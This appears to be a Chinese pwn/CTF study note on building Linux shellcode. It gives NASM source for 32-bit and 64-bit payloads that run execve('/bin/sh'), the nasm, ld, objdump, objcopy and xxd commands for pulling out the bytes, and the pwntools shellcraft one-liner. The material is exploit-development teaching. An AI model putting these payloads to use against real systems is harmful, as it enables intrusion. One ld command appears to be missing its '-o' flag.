pwn学习-手动生成shellcode
汇编手动dump生成
elf32
首先sh.asm内容如下
[section .data]
global _start
_start:
jmp sh
se:
pop ebx
mov eax,11
mov ecx,0
mov edx,0
int 0x80
sh:
call se
db '/bin/sh',0
使用nasm和ld编译并链接
$ nasm -f elf32 sh.asm -o sh.o
$ ld -m elf_i386 sh.o sh
接着使用objdump就可以得到对应的shellcode
$ objdump -D sh

但是这样一个一个字符提取过于麻烦,可以使用xxd命令获取
xxd sh

上述中显示的数据也是过多,可以使用objcopy命令提取可执行代码段,这时提取就方便很多
$ objcopy -O binary sh.o sh.bin

注意上述中sh.bin文件是从sh.o可可重定向文件中读取
sh.bin文件是一个二进制文件,同样可以使用objdump等二进制分析文件分析,由于缺少文件头信息等因素,需要手动指定该文件类型和架构
$ objdump -b binary -m i386 -D sh.bin

elf64
x64的和x32的基本一样,只不过汇编语法有些不同
sh.asm内容如下
section .text
global _start
_start:
xor rdx,rdx
mov qword rbx, '//bin/sh'
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
编译链接和执行
$ nasm -f elf64 sh.asm -o sh.o
$ ld sh.o -o sh
$ ./sh
$ exit
使用objcopy提取可执行代码,使用xxd分析

pwntools自带功能生成
带入pwntools模块,使用shellcraft类中的sh方法生成shellcode,接着使用asm()方法转换为shellcode代码


一般我们在脚本中使用变量存储shellcode,例如:
from pwn import *
shellcode = asm(shellcraft.sh())
上述中默认使用是x32的shellcode,生成x64的只需要在第二行加入context(arch="amd64")即可



浙公网安备 33010602011771号